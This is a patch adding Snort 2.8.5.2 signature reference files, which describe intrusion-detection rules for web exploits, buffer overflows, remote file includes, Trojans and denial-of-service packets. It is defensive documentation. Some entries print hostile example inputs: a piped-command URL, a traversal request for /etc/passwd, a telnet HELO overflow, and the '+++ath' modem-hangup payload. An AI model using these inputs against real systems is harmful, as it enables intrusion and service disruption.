+http://www.securityfocus.com/bid/9825
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1164.txt
+++ snort-2.8.5.2/doc/signatures/1164.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1164
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000407.txt
+++ snort-2.8.5.2/doc/signatures/100000407.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000407
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "calday.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "calday.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2070.txt
+++ snort-2.8.5.2/doc/signatures/2070.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2070
+
+--
+Summary:
+made.
+
+--
+Impact:
+Code execution and possible control of the target machine
+
+--
+Detailed Information:
+Alibaba is a web server that runs on Windows platforms. An error in the 
+cgi script post32.exe allows piped commands to be processed on the 
+server.
+
+--
+Affected Systems:
+Computer Software Manufaktur Alibaba 2.0
+	Microsoft Windows 2000 Workstation
+	Microsoft Windows 95
+	Microsoft Windows 98
+	Microsoft Windows NT 4.0
+   
+--
+Attack Scenarios:
+The attacker merely needs to make an http request to the script using a 
+pipe command at the end of the URI to execute any command he chooses.
+
+For example, http://www.foo.com/cgi-bin/post32.exe|dir%20c:\
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade Alibaba to the latest non vulnerable version if available.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1485
+
+--
--- snort-2.8.5.2.orig/doc/signatures/158.txt
+++ snort-2.8.5.2/doc/signatures/158.txt
@@ -0,0 +1,103 @@
+Rule:
+
+--
+Sid:
+152, 157-158
+
+--
+Summary:
+Backdoor.Backconstruction is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files
+and reboot the targeted machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Backconstruction
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+	SID	Message
+	---	-------
+	152	BackConstruction 2.1 Connection (outgoing TCP
+connection)
+	157	BackConstruction 2.1 Client FTP Open Request (incoming
+TCP connection)
+	158	BackConstruction 2.1 Server FTP Open Reply (outging TCP
+connection)
+
+This Trojan is commonly used to install other Trojan programs.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Cmctl32.exe
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Shell = "<drive>:\WINDOWS\Cmctl32.exe"
+
+Removal of this entry is required.
+
+Delete the file <drive>:\WINDOWS\Cmctl32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS505
+
+Dark-e:
+http://www.dark-e.com/archive/trojans/backc/21/index.shtml
+
+Pest Patrol:
+www.pestpatrol.com/PestInfo/b/back_construction.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3097.txt
+++ snort-2.8.5.2/doc/signatures/3097.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3097
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2872.txt
+++ snort-2.8.5.2/doc/signatures/2872.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2872
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_priority_number
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/401.txt
+++ snort-2.8.5.2/doc/signatures/401.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+401
+
+--
+
+Summary:
+This event is generated when An ICMP Network Unreachable datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when the route to the destination network is not available. This could be an indication of routing problems on the network.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2522.txt
+++ snort-2.8.5.2/doc/signatures/2522.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2522
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3229.txt
+++ snort-2.8.5.2/doc/signatures/3229.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3229
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2060.txt
+++ snort-2.8.5.2/doc/signatures/2060.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+2060
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in DB4Web.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+DB4Web is an application server used to access various sources of data 
+via a web interface.
+
+DB4Web does not handle the characters ":" and "\" correctly when they 
+are URL encoded. An attacker can use this flaw to gain access to 
+sensitive system information.
+
+Also the application does not correctly handle the use of extra "/" in a
+URI.
+
+It is also possible for the attacker to open arbitrary TCP connections 
+using DB4Web and may be able to use it for portscanning other hosts.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+The attacker merely needs to make a normal HTTP request with the 
+characters ":" or "\" encoded (%3A%5C) followed by the commands the 
+attacker wishes to run.
+
+The attacker can also make a request like 
+http://www.foo.com/cgi-bin/db4web_c/dbdirname//etc/passwd to view the 
+contents of the password file.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable access to DB4Web from external sources.
+
+Apply the appropriate vendor patches.
+
+Run the webserver in a chroot environment to mitigate the risks of 
+disclosure.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+DB4Web
+http://www.db4web.de/DB4Web/home/DB4Web/hotfix_e.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000861.txt
+++ snort-2.8.5.2/doc/signatures/100000861.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000861
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "FlushCMS" application running on a webserver. Access to the file "class.rich.php" using a remote file being passed as the "class_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "class_path" parameter in the "class.rich.php" script used by the "FlushCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using FlushCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2450.txt
+++ snort-2.8.5.2/doc/signatures/2450.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2450
+
+--
+Summary:
+This event is generated when a user in your network has successfully logged into Yahoo Instant Messenger.
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+A user must successfully logon to an Yahoo Instant Messenger server before participating in any exchanges, such sending or receiving messages, files, or webcams, or chatting by voice.  Many of these activities are not appropriate in a corporate environment.  Also, the exchanges are transacted via Yahoo IM servers so there is no assurance of privacy.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+Once logged in, a Yahoo IM user may unwittingly accept a malicious file that may contain a worm, virus, Trojan, or backdoor to name a few.
+
+--
+Ease of Attack:
+Easy. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1975.txt
+++ snort-2.8.5.2/doc/signatures/1975.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1976
+
+--
+Summary:
+This event is generated when an attempt is made to supply an excessively
+long argument to an FTP command possibly in an attempt to exploit a buffer
+overflow vulnerability associated with CesarFTPD FTP server DELE command.
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of
+arbitrary commands with system privileges.
+
+--
+Detailed Information:
+CesarFTPD offers FTP servers for Windows hosts. A vulnerability exists
+with the DELE command that can cause a buffer overflow and permit the
+execution of arbitrary commands with system privileges. The buffer
+overflow can be caused by supplying an overly long argument to the DELE
+command.
+
+Likewise, ArGoSoft FTP Server 1.4.2.8 suffers from a buffer overflow
+condition that can be exploited by supplying excess data as a parameter
+to the DELE command.
+
+--
+Affected Systems:
+	CesarFTP 0.98b
+	ArGoSoft FTP Server 1.4.2.8
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the DELE
+command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/12755
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000762.txt
+++ snort-2.8.5.2/doc/signatures/100000762.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000762
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Randshop" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "incl" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "incl" parameter in the "index.php" script used by the "Randshop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Randshop
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3130.txt
+++ snort-2.8.5.2/doc/signatures/3130.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+3130
+
+--
+Summary:
+This alert is generated when a malicious PNG file is sent to an MSN Messenger
+client. Vulnerable clients which receive such a file are vulnerable to remote
+code execution attacks.
+
+--
+Impact:
+Arbitrary code may be executed in the context of the user running MSN Messenger.
+Their messenger client may or may not crash, depending upon the way the PNG file
+is written.
+
+--
+Detailed Information:
+This vulnerability is due to a buffer overflow in the processing of tRNS chunks
+of PNG files. In order to trigger the overflow, the color type field of the IHDR
+chunk must be set to 0x03, and the length of the tRNS chunk must be greater than
+256. 
+
+--
+Affected Systems:
+	MSN Messenger 6.1
+	MSN Messenger 6.2
+
+--
+Attack Scenarios:
+An attacker may send a malicious PNG through a direct file transfer, as a
+thumbnail for a file transfer, as a custom emoticon, or by setting their buddy
+icon to be the malicious PNG. In all cases, the PNG is sent via an MSN file
+transfer.
+
+--
+Ease of Attack:
+Very simple. Example PNGs with shellcode are available on the web, and attacking
+via all but the file transfer thumbnail vector is accomplished with simple,
+everyday MSN Messenger tasks.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+Thumbnails of image transfers are sent in an encoded format. As a result, they
+cannot be detected. However, making the thumbnail contain malicious data is
+exponentially more difficult than any of the other attack vectors, as an
+attacker cannot manually specify the thumbnail to be sent.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patch.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <alex.kirk@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2245.txt
+++ snort-2.8.5.2/doc/signatures/2245.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2245
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known vulnerability in NetWin WebNEWS.
+
+--
+Impact:
+Execution of arbitrary code. Possible unauthorized access to the target 
+host.
+
+--
+Detailed Information:
+WebNEWS allows access to news groups via a web interface. Certain 
+versions of the application suffer from a buffer overflow condition such
+that a user supplied group name longer than 1500 characters may allow 
+the attacker to execute code of his choosing with the privileges of the 
+user running the web server.
+
+--
+Affected Systems:
+	NetWin WebNEWS 1.1 j
+	NetWin WebNEWS 1.1 i
+	NetWin WebNEWS 1.1 h
+
+--
+Attack Scenarios:
+The attacker would need to supply a long news group name of over 1500 
+characters to cause the overflow which may then present the attacker 
+with the opportunity to execute code.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3095.txt
+++ snort-2.8.5.2/doc/signatures/3095.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3095
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000811.txt
+++ snort-2.8.5.2/doc/signatures/100000811.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000811
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPBB" application running on a webserver. Access to the file "attach_rules.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "attach_rules.php" script used by the "PHPBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1549.txt
+++ snort-2.8.5.2/doc/signatures/1549.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+
+1549
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer in an SMTP server via a long SMTP HELO command. 
+
+--
+Impact:
+A remote attacker could exploit this vulnerability to cause a denial of service, or possibly execute arbitrary code.
+
+--
+Detailed Information:
+Most SMTP servers do not properly validate the input string. A buffer overflow may occur when an attacker use a HELO command followed by 1024+ characters. If the server is vulnerable ,it will crash or close the connection, otherwise it will give an error message.
+
+--
+Affected Systems:
+
+	SMTP servers Any version
+	AppleShare IP Mail Server Any version
+	Mercury Mail Server Any version
+	SLMail v2.6 and earlier
+	
+
+--
+Attack Scenarios:
+telnet victim.foo.com 25
+helo victim
+220 victim SMTP Server Ready 
+HELO XXXXXXXXXXX[a thousand of these]XXXXXXXX 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/274.txt
+++ snort-2.8.5.2/doc/signatures/274.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+274
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Denial of Service attack that works against some modems.
+
+--
+Impact:
+The system may be disconnected from it's dial-up connection.
+
+--
+Detailed Information:
+An ICMP Echo Request is sent to a target system with a payload that
+includes "+++ath".  The "+++" is an attention sequence that allows a
+user to enter commands to the modem.  "ath" is the modem hangup command.
+An ICMP Echo Reply includes the same payload as the associated request.
+On some modems, when the machine tries to reply to this packet, "+++ath"
+will be interpreted as a command and the modem will hangup.  The remote
+address can be spoofed.
+
+--
+Affected Systems:
+unknown
+
+--
+Attack Scenarios:
+A user can remotely cause a modem to disconnect.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Set a guard time on the modem. Contact the modem manufacturer for
+details. A guard time will cause the modem to wait after receiving
+"+++". Any further input during this wait, including "ath", will be 
+disregarded. 
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+--
